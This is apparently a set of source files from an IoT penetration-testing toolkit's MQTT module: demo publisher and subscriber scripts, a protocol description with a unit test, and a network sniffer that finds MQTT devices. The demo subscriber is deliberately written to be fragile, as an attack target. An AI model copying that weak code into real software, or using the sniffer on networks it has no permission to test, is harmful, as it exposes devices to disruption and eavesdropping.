from Utils.RandomUtil.random_generated_names import get_random_client_name
DEFAULT_BROKER_HOST = "localhost"
DEFAULT_TOPIC_NAME = "peniot/demo"
DEFAULT_CLIENT_NAME = get_random_client_name()
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("MQTT Demo Publisher Example")
global_publisher = None
def signal_handler(sig, frame):
global global_publisher
logger.info("Connection will be closed")
if global_publisher is not None:
global_publisher.loop_stop()
global_publisher.disconnect()
sys.exit(0)
def publish_procedure(publisher_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME):
"""
Publisher execution context
:param publisher_client: Publisher object
:param broker_host_name: Host name to connect
:param topic: Topic to be published
:type publisher_client: paho.Client
:return: Nothing
"""
# Signal handler to exit from function
signal.signal(signal.SIGINT, signal_handler)
global global_publisher
publisher_client.connect(broker_host_name)
global_publisher = publisher_client
# Start loop that always checks receive and send buffer with threads and tries to catch new messages
publisher_client.loop_start()
data_gen = data_generator()
while True:
publish_content = next(data_gen)
publisher_client.publish(topic, publish_content)
time.sleep(2)
logger.info("Message {0} is published".format(publish_content))
def data_generator():
import datetime
import random
today = datetime.datetime.now()
while True:
yield "{0},{1}".format(today.date(), round(random.uniform(-20, 40), 2))
today = today + datetime.timedelta(days=1)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST)
parser.add_argument("-t", "--topic", help="Topic name to subscribe", default=DEFAULT_TOPIC_NAME)
parser.add_argument("-c", "--cli", help="Client name for subscription", default=DEFAULT_CLIENT_NAME)
args = parser.parse_args()
# Create publisher
publisher = paho.Client(args.cli)
logger.info("Publisher is created")
# Assign necessary callbacks
logger.info("Callbacks are assigned")
publish_procedure(publisher, args.broker, args.topic)
================================================
FILE: src/protocols/MQTT/examples/Demo/demo_subscriber.py
================================================
import paho.mqtt.client as paho
import argparse
import logging
import signal
import sys
import threading
from Utils.RandomUtil.random_generated_names import get_random_client_name
DEFAULT_BROKER_HOST = "localhost"
DEFAULT_TOPIC_NAME = "peniot/demo"
DEFAULT_CLIENT_NAME = get_random_client_name()
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("MQTT Demo Subscriber Example")
global_subscriber = None
class DemoSubscriber(object):
"""
Demo Subscriber that will have limited data storage and error prone code to simulate effects of attacks
"""
def __init__(self):
self.message_container = []
self.start_processing_of_temperatures()
def on_message(self, client, userdata, message):
coming_message = str(message.payload.decode("utf-8"))
logger.info("Received message = {0}".format(coming_message))
if coming_message == "peniot-pay":
return
self.on_message_append(coming_message)
def on_message_append(self, message):
# Parse message
parsed_entity = TemperatureData(message)
if len(self.message_container) < 2**8:
self.message_container.append(parsed_entity)
else:
logger.error("Message container is full!")
# sys.exit(0)
def start_processing_of_temperatures(self):
if len(self.message_container) > 0:
logger.info("Popped message = {0}".format(self.message_container.pop(0)))
threading.Timer(2.0, self.start_processing_of_temperatures).start()
class TemperatureData(object):
"""
Container class for temperature data that comes from publisher
"""
def __init__(self, temperature_string):
try:
parsed = temperature_string.split(",")
self.date, self.temperature = tuple(parsed)
except Exception as e:
logger.error("Impossible data to parse... I gave up, I need rest to recover...")
# sys.exit(0)
def get_date(self):
return self.date
def set_date(self, date):
self.date = date
def get_temperature(self):
return self.temperature
def set_temperature(self, temperature):
self.temperature = temperature
def __repr__(self):
return "{0},{1}".format(self.date, self.temperature)
def signal_handler(sig, frame):
global global_subscriber
logger.info("Connection will be closed")
if global_subscriber is not None:
global_subscriber.loop_stop()
global_subscriber.disconnect()
sys.exit(0)
def subscribe_procedure(subscriber_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME):
"""
Subscriber execution context
:param subscriber_client: Subscriber object
:param broker_host_name: Host name to connect
:param topic: Topic to be subscribe
:type subscriber_client: paho.Client
:return: Nothing
"""
# Signal handler to exit from function
signal.signal(signal.SIGINT, signal_handler)
global global_subscriber
subscriber_client.connect(broker_host_name)
global_subscriber = subscriber_client
# Start loop that always checks receive and send buffer with threads and tries to catch new messages
subscriber_client.subscribe(topic)
subscriber_client.loop_forever()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST)
parser.add_argument("-t", "--topic", help="Topic name to subscribe", default=DEFAULT_TOPIC_NAME)
parser.add_argument("-c", "--cli", help="Client name for subscription", default=DEFAULT_CLIENT_NAME)
args = parser.parse_args()
# Create subscriber
subscriber = paho.Client(args.cli)
logger.info("Subscriber is created")
demo_subscriber = DemoSubscriber()
# Assign necessary callbacks
subscriber.on_message = demo_subscriber.on_message
logger.info("Callbacks are assigned")
subscribe_procedure(subscriber, args.broker, args.topic)
================================================
FILE: src/protocols/MQTT/examples/__init__.py
================================================
"""
This package is written to understand basic connection and communication mechanisms by local broker servers.
There is a two scripts that contains one publisher and one subscriber example.
"""
================================================
FILE: src/protocols/MQTT/examples/publisher_example.py
================================================
import paho.mqtt.client as paho
import argparse
import logging
import signal
import sys
import time
DEFAULT_BROKER_HOST = "localhost"
DEFAULT_TOPIC_NAME = "peniot/test"
DEFAULT_CLIENT_NAME = "peniot-publisher"
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("MQTT Publisher Example")
global_publisher = None
"""
MQTT Example Publisher
"""
def signal_handler(sig, frame):
global global_publisher
logger.info("Connection will be closed")
if global_publisher is not None:
global_publisher.loop_stop()
global_publisher.disconnect()
sys.exit(0)
def on_message(client, userdata, message):
logger.info("Received message = {0}".format(str(message.payload.decode("utf-8"))))
def on_connect(client, userdata, flags, rc):
logger.info("Connection is established")
def publish_procedure(publisher_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME):
"""
Publisher execution context
:param publisher_client: Publisher object
:param broker_host_name: Host name to connect
:param topic: Topic to be published
:type publisher_client: paho.Client
:return: Nothing
"""
# Signal handler to exit from function
signal.signal(signal.SIGINT, signal_handler)
global global_publisher
publisher_client.connect(broker_host_name)
global_publisher = publisher_client
# Start loop that always checks receive and send buffer with threads and tries to catch new messages
publisher_client.loop_start()
publish_content = 0
while True:
publisher_client.publish(topic, "Peniot test message: " + str(publish_content))
time.sleep(2)
publish_content += 1
logger.info("Message {0} is published".format(publish_content))
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST)
parser.add_argument("-t", "--topic", help="Topic name to subscribe", default=DEFAULT_TOPIC_NAME)
parser.add_argument("-c", "--cli", help="Client name for subscription", default=DEFAULT_CLIENT_NAME)
args = parser.parse_args()
# Create publisher
publisher = paho.Client(args.cli)
logger.info("Publisher is created")
# Assign necessary callbacks
publisher.on_message = on_message
logger.info("Callbacks are assigned")
publish_procedure(publisher, args.broker, args.topic)
================================================
FILE: src/protocols/MQTT/examples/subscriber_example.py
================================================
import paho.mqtt.client as paho
import argparse
import logging
import signal
import sys
import time
DEFAULT_BROKER_HOST = "localhost"
DEFAULT_TOPIC_NAME = "peniot/test"
DEFAULT_CLIENT_NAME = "peniot-subscriber"
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("MQTT Subscriber Example")
global_subscriber = None
"""
MQTT Example Subscriber
"""
def signal_handler(sig, frame):
global global_subscriber
logger.info("Connection will be closed")
if global_subscriber is not None:
global_subscriber.loop_stop()
global_subscriber.disconnect()
sys.exit(0)
def on_message(client, userdata, message):
logger.info("Received message = {0}".format(str(message.payload.decode("utf-8"))))
def on_connect(client, userdata, flags, rc):
logger.info("Connection is established")
def subscribe_procedure(subscriber_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME):
"""
Subscriber execution context
:param subscriber_client: Subscriber object
:param broker_host_name: Host name to connect
:param topic: Topic to be subscribe
:type subscriber_client: paho.Client
:return: Nothing
"""
# Signal handler to exit from function
signal.signal(signal.SIGINT, signal_handler)
global global_subscriber
subscriber_client.connect(broker_host_name)
global_subscriber = subscriber_client
# Start loop that always checks receive and send buffer with threads and tries to catch new messages
subscriber_client.loop_start()
while True:
subscriber_client.subscribe(topic)
time.sleep(2)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST)
parser.add_argument("-t", "--topic", help="Topic name to subscribe", default=DEFAULT_TOPIC_NAME)
parser.add_argument("-c", "--cli", help="Client name for subscription", default=DEFAULT_CLIENT_NAME)
args = parser.parse_args()
# Create subscriber
subscriber = paho.Client(args.cli)
logger.info("Subscriber is created")
# Assign necessary callbacks
subscriber.on_message = on_message
logger.info("Callbacks are assigned")
subscribe_procedure(subscriber, args.broker, args.topic)
================================================
FILE: src/protocols/MQTT/mqtt_protocol.py
================================================
from Entity.protocol import Protocol
import unittest
class MQTT(Protocol):
def __init__(self):
mqtt_definition = "MQTT is an application layer internet of things (IoT) protocol. " \
"It is mainly a messaging protocol. At the center of MQTT, there exists a central broker " \
"that acts as a server.Each client connected to that broker can open a topic " \
"and publish messsages to that topic.Then any client connected to a broker can subscribe to the " \
"topics stored on that broker.More than one client can subscribe to a single topic.\n\n" \
"Clients communicate via publishing and subscring to topics that they are interested. Main duties of " \
"the broker are storing topics, storing the messages published on these topics and then sending the " \
"published messages to the clients subscribed to that particular topic. More explicitly, when a " \
"message is published by a client to a topic, first the broker stores that message in the memory space " \
"that it had allocated for that topic. Then the broker sends that message to every single client that " \
"had subscribed to that topic. Existence of a working broker is essential, without a central broker " \
"clients cannot communicate among themselves.\n\n" \
"Aforementioned structure of the MQTT makes the broker main target of cyber attacks. Therefore, it " \
"is very important that security configurations of the MQTT broker are set correctly. However, " \
"this does not mean client security is not important. Clients should be configured in a way that " \
"they can handle unexpected inputs without facing a failure. From our MQTT attacks menu, you can choose " \
"from a list of attacks to test your devices. You can get more information about each attack from " \
"the attacks page."
attack_suites = []
Protocol.__init__(self, "MQTT", attack_suites, mqtt_definition)
class TestMQTTProtocol(unittest.TestCase):
def setUp(self):
self.mqtt = MQTT()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT", self.mqtt.get_protocol_name())
def test_attacks(self):
attack_suites = self.mqtt.get_attack_suites()
self.assertIsNotNone(attack_suites)
self.assertEquals(len(attack_suites), 0)
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/mqtt_scanner.py
================================================
from Utils.SnifferUtil import generic_sniffer as generic_sniffer
from scapy.all import *
# Since MQTT runs on TCP/IP, we filter captured packets using TCP protocol
mqtt_filter = "tcp"
# 1883 and 8883 ports are reserved for MQTT protocol
mqtt_port = 1883
mqtt_port_ssl = 8883
# Capturing via TShark
mqtt_layer_filter = "mqtt"
class MQTTScanner:
"""
This class is used to scan for a MQTT device.
It captures packets from the network and try to find MQTT devices.
"""
def __init__(self):
pass
@staticmethod
def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE,
use_json_and_include_raw=False, output_pcap_filename=None):
sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface,
use_json=use_json_and_include_raw,
include_raw=use_json_and_include_raw,
output_pcap_filename=output_pcap_filename,
display_filter=mqtt_layer_filter)
sniffer.start_live_capture()
return sniffer.get_captured_packets()
@staticmethod
def get_raw_tcp_payload_as_bytes(packet):
return (packet.mqtt_raw.value[0]).decode("hex")
@staticmethod
def get_raw_frame_as_bytes(packet):
return (packet.frame_raw.value[0]).decode("hex")
'''
@staticmethod
def scan(count, interface, timeout, mac_address=None, src_dst=None):
"""
Scans the network to find MQTT devices and returns the packets
if mac_address and src_dst parameters are provided,then we will search for a specific device
:param count: the total number of packets to be captured
:param interface: the interface to be scanned
:param timeout: the time out value to give finish scanning (in sec)
:param mac_address: MAC address of the device
:param src_dst: if src_dst is 0, then we will check packets' source field, if it is 1,then we will check
packets' destination field
:return: packets found
"""
packets = []
if src_dst is not None and mac_address is not None:
mac_address = mac_address.lower() # it should contain lower case chars
if src_dst == 0: # check source field
packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter,
lfilter=lambda d: d.src == mac_address)
elif src_dst == 1: # check destination field
packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter,
lfilter=lambda d: d.dst == mac_address)
else:
packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter)
packets_found = [] # the packets we found
for i in range(0, len(packets)):
if packets[i]['TCP'].sport == mqtt_port or packets[i]['TCP'].dport == mqtt_port_ssl:
packets_found.append(packets[i])
return packets_found
@staticmethod
def scan_file(count, interface, file_name, mac_address=None, src_dst=None):
"""
Scans the given packet file to find MQTT devices and returns the packets
if mac_address and src_dst parameters are provided,then we will search for a specific device
:param count: the total number of packets to be captured
:param interface: the interface to be scanned
:param file_name: the name of file to be checked to find a MQTT device
:param mac_address: MAC address of the device
:param src_dst: if src_dst is 0, then we will check packets' source field, if it is 1,then we will check
packets' destination field
:return: packets found
"""
packets = []
if src_dst is not None and mac_address is not None:
mac_address = mac_address.lower() # it should contain lower case chars
if src_dst == 0: # check source field
packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter,
lfilter=lambda d: d.src == mac_address)
elif src_dst == 1: # check destination field
packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter,
lfilter=lambda d: d.dst == mac_address)
else:
packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter)
packets_found = [] # the packets we found
for i in range(0, len(packets)):
if MQTTScanner.check_port(packets[i]['TCP']):
packets_found.append(packets[i])
return packets_found
@staticmethod
def check_port(packet_param):
"""
Checks whether the packet has a MQTT port as source or destination port number.
:param packet_param: the packet to be checked
:return:
"""
if packet_param.sport == mqtt_port_ssl or packet_param.sport == mqtt_port or \
packet_param.dport == mqtt_port or packet_param.dport == mqtt_port_ssl:
return True
return False
'''
if __name__ == '__main__':
packets = MQTTScanner().scan()
================================================
FILE: src/protocols/__init__.py
================================================
"""
This package contains all available protocols.
"""